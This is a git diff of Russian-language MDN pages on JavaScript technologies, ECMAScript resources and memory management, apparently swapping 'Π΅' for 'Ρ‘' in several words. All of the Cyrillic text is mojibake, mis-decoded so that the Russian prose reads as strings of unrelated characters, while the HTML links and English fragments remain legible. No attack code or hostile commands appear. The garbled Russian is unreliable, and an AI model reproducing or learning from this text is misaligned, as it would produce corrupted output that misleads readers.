-<p><a href="http://ecma-international.org/ecma-402/1.0/">БпСцификация ECMAScript для API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</a>Β - Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ языковой спСцификации ECMAScript, Ρ‚Π°ΠΊΠΆΠ΅ стандартизированной Ecma TC39. API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ обСспСчиваСт сопоставлСниС (строковоС сравнСниС),Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ чисСл,Β Π΄Π°Ρ‚ ΠΈΒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π½Π° JavaScript, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΒ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ язык ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π² зависимости ΠΎΡ‚ Π½ΡƒΠΆΠ΄. ΠΠ°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ стандарт Π±Ρ‹Π» ΠΎΠ΄ΠΎΠ±Ρ€Π΅Π½ Π² Π΄Π΅ΠΊΠ°Π±Ρ€Π΅ 2012; статус Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… вСдСтся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code>Β object</a>. БпСцификация ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ сСйчас Ρ‚Π°ΠΊΠΆΠ΅ утвСрТдаСтся Π½Π° Π΅ΠΆΠ΅Π³ΠΎΠ΄Π½ΠΎΠΉ основС, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ постоянно ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ Π΅Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ.</p>
+<p><a href="http://ecma-international.org/ecma-402/1.0/">БпСцификация ECMAScript для API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</a>Β - Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ языковой спСцификации ECMAScript, Ρ‚Π°ΠΊΠΆΠ΅ стандартизированной Ecma TC39. API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ обСспСчиваСт сопоставлСниС (строковоС сравнСниС),Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ чисСл,Β Π΄Π°Ρ‚ ΠΈΒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π½Π° JavaScript, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΒ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ язык ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π² зависимости ΠΎΡ‚ Π½ΡƒΠΆΠ΄. ΠΠ°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ стандарт Π±Ρ‹Π» ΠΎΠ΄ΠΎΠ±Ρ€Π΅Π½ Π² Π΄Π΅ΠΊΠ°Π±Ρ€Π΅ 2012; статус Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… вСдётся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code>Β object</a>. БпСцификация ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ сСйчас Ρ‚Π°ΠΊΠΆΠ΅ утвСрТдаСтся Π½Π° Π΅ΠΆΠ΅Π³ΠΎΠ΄Π½ΠΎΠΉ основС, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ постоянно ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ Π΅Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ.</p>
<h2 id="DOM_APIs">DOM APIs</h2>
@@ -55,15 +55,15 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
<ul>
<li>Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Ρƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π΄Ρ€Π΅Π²ΠΎΠ²ΠΈΠ΄Π½ΡƒΡŽ модСль,Β ΠΈ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ событий DOMΒ Π² <a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">ядрС DOM</a>:Β <code>Node</code>,Β <code>Element</code>,Β <code>DocumentFragment</code>,Β <code>Document</code>,Β <code>DOMImplementation</code>,Β <code>Event</code>,Β <code>EventTarget</code>, …</li>
- <li>МСнСС строгоС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ событий DOM, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li>
+ <li>МСнСС строгоС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ событий DOM, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li>
<li>Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ,Β Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> ΠΈ <a class="external" href="http://html5.org/specs/dom-range.html" title="http://html5.org/specs/dom-range.html">DOM Range</a>.</li>
</ul>
-<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ECMAScript, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² спСцификации DOM Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ срСды исполнСния ("host objects").</p>
+<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ECMAScript, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² спСцификации DOM Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ срСды исполнСния ("host objects").</p>
<h3 id="HTML_DOM">HTML DOM</h3>
-<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Web, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p>
+<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Web, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p>
<p>The HTML specification also defines restrictions on documents; for example, it requires all children of a <code>ul</code> element, which represents an unordered list, to be <code>li</code> elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.</p>
@@ -82,4 +82,4 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π²ΡˆΠΈΠΉΡΡ с DOM ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊ Ρ‚Π°ΠΌ всС <a href="http://ejohn.org/blog/the-dom-is-a-mess/" title="http://ejohn.org/blog/the-dom-is-a-mess/">Π±Π΅Π·Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ</a>. РСализация Ρ‚ΠΎΠΉ ΠΈΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ, Π°Β ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π“Π»Π°Π²Π½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ этого послуТило Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ само описаниС спСцификации DOM, Π±Ρ‹Π»ΠΎ нСдостаточно ясным ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ нСсовмСстимыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² своих Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ модСль событий Π² IE). Π’ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ консорциум W3C ΠΈ частично WHATWG ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚Π΅Ρ… ΠΈΠ»ΠΈ ΠΈΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ. БлСдуя этой Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΠΈ, ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π΄Π΅ΡΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ свои Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° этих спСцификациях.</p>
-<p>НаиболСС ΠΎΠ±Ρ‰ΠΈΠΉ, Π½ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ самый Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ способ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΊΡ€ΠΎΡΡΠ±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ это Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ JavaScript. Π­Ρ‚ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π°Π±ΡΡ‚Ρ€Π°Π³ΠΈΡ€ΡƒΡŽΡ‚ вас ΠΎΡ‚ особСнностСй Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ DOM Π² Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΈΡ… API Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. НаиболСС распространСнныС ΠΈΠ· Π½ΠΈΡ… это <a class="external" href="http://jquery.com/">jQuery</a>Β ΠΈ <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p>
+<p>НаиболСС ΠΎΠ±Ρ‰ΠΈΠΉ, Π½ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ самый Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ способ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΊΡ€ΠΎΡΡΠ±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ это Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ JavaScript. Π­Ρ‚ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π°Π±ΡΡ‚Ρ€Π°Π³ΠΈΡ€ΡƒΡŽΡ‚ вас ΠΎΡ‚ особСнностСй Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ DOM Π² Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΈΡ… API Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. НаиболСС распространённыС ΠΈΠ· Π½ΠΈΡ… это <a class="external" href="http://jquery.com/">jQuery</a>Β ΠΈ <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p>
diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html
index e96654a789..8d223226ca 100644
--- a/files/ru/web/javascript/language_resources/index.html
+++ b/files/ru/web/javascript/language_resources/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Language_Resources
---
<p>{{JsSidebar}}</p>
-<p><strong>ECMAScript</strong> это язык программирования Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Π² основС <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>Π² спСцификации </strong><strong>ECMA-262, </strong>ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ ΠΏΠΎ стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Π”Π°Π»Π΅Π΅ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ пСрСчислСны ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½Π½Ρ‹Π΅ стандарты ECMAScript:</p>
+<p><strong>ECMAScript</strong> это язык программирования Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Π² основС <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>Π² спСцификации </strong><strong>ECMA-262, </strong>ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ ΠΏΠΎ стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Π”Π°Π»Π΅Π΅ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ пСрСчислСны ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Ρ‘Π½Π½Ρ‹Π΅ стандарты ECMAScript:</p>
<table class="standard-table">
<tbody>
@@ -59,7 +59,7 @@ translation_of: Web/JavaScript/Language_Resources
</tbody>
</table>
-<p>Π£Π·Π½Π°Ρ‚ΡŒ большС ΠΎ истории ECMAScript ΠΌΠΎΠΆΠ½ΠΎ <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">Π½Π° страницС Π²ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ посвящСнной ECMAScript</a>.</p>
+<p>Π£Π·Π½Π°Ρ‚ΡŒ большС ΠΎ истории ECMAScript ΠΌΠΎΠΆΠ½ΠΎ <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">Π½Π° страницС Π²ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ посвящённой ECMAScript</a>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС ΠΈΠ»ΠΈ просто ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π°Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ вСрсиСй стандарта, которая разрабатываСтся ΠΏΠΎΠ΄ ΠΊΠΎΠ΄ΠΎΠ²Ρ‹ΠΌ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ"Harmony", с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ-доступного Π²ΠΈΠΊΠΈ ΠΈ <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss список рассылки</a> привязанного ΠΊ <a class="external" href="http://www.ecmascript.org/community.php" title="http://www.ecmascript.org/community.php">ecmascript.org</a>.</p>
@@ -75,7 +75,7 @@ translation_of: Web/JavaScript/Language_Resources
<h3 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈ_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΆΠ΅</h3>
<ul>
- <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Π‘Π»ΠΎΠ³ Π‘Ρ€Π΅Π½Π΄Π°Π½Π° Π­ΠΉΠΊΠ°</a>. Π‘Ρ€Π΅Π½Π΄Π°Π½ ΡΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ JavaScript ΠΈ Π΄Π²ΠΈΠΆΠΊΠ° SpiderMonkey. Он всС Π΅Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ ECMA Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒ язык.</li>
+ <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Π‘Π»ΠΎΠ³ Π‘Ρ€Π΅Π½Π΄Π°Π½Π° Π­ΠΉΠΊΠ°</a>. Π‘Ρ€Π΅Π½Π΄Π°Π½ ΡΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ JavaScript ΠΈ Π΄Π²ΠΈΠΆΠΊΠ° SpiderMonkey. Он всС Π΅Ρ‰Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ ECMA Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒ язык.</li>
<li><a class="external" href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Π”ΠΌΠΈΡ‚Ρ€ΠΈΠΉ Бошников Π°Π½Π°Π»ΠΈΠ· ECMA-262 Edition 3 ΠΈ 5</a></li>
</ul>
diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html
index bcdf39cd3d..79aafad29e 100644
--- a/files/ru/web/javascript/memory_management/index.html
+++ b/files/ru/web/javascript/memory_management/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Memory_Management
<h2 id="Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅</h2>
-<p>НизкоуровнСвыС языки программирования (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, C) ΠΈΠΌΠ΅ΡŽΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ для управлСния ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <code>malloc()</code>Β ΠΈΒ <code>free()</code>. Π’ JavaScript ΠΆΠ΅ ΠΏΠ°ΠΌΡΡ‚ΡŒ выдСляСтся динамичСски ΠΏΡ€ΠΈ создании сущностСй (Ρ‚.Π΅., ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², строк ΠΈ Ρ‚.ΠΏ.) ΠΈ "автоматичСски" освобоТдаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. ПослСдний процСсс называСтся <em>сборкой мусора</em> . Π‘Π»ΠΎΠ²ΠΎ "автоматичСски" являСтся источником ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΈ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ создаСт Ρƒ программистов Π½Π° JavaScript (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… высокоуровнСвых языках) Π»ΠΎΠΆΠ½ΠΎΠ΅ ΠΎΡ‰ΡƒΡ‰Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ.</p>
+<p>НизкоуровнСвыС языки программирования (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, C) ΠΈΠΌΠ΅ΡŽΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ для управлСния ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <code>malloc()</code>Β ΠΈΒ <code>free()</code>. Π’ JavaScript ΠΆΠ΅ ΠΏΠ°ΠΌΡΡ‚ΡŒ выдСляСтся динамичСски ΠΏΡ€ΠΈ создании сущностСй (Ρ‚.Π΅., ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², строк ΠΈ Ρ‚.ΠΏ.) ΠΈ "автоматичСски" освобоТдаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. ПослСдний процСсс называСтся <em>сборкой мусора</em> . Π‘Π»ΠΎΠ²ΠΎ "автоматичСски" являСтся источником ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΈ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ создаёт Ρƒ программистов Π½Π° JavaScript (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… высокоуровнСвых языках) Π»ΠΎΠΆΠ½ΠΎΠ΅ ΠΎΡ‰ΡƒΡ‰Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ.</p>
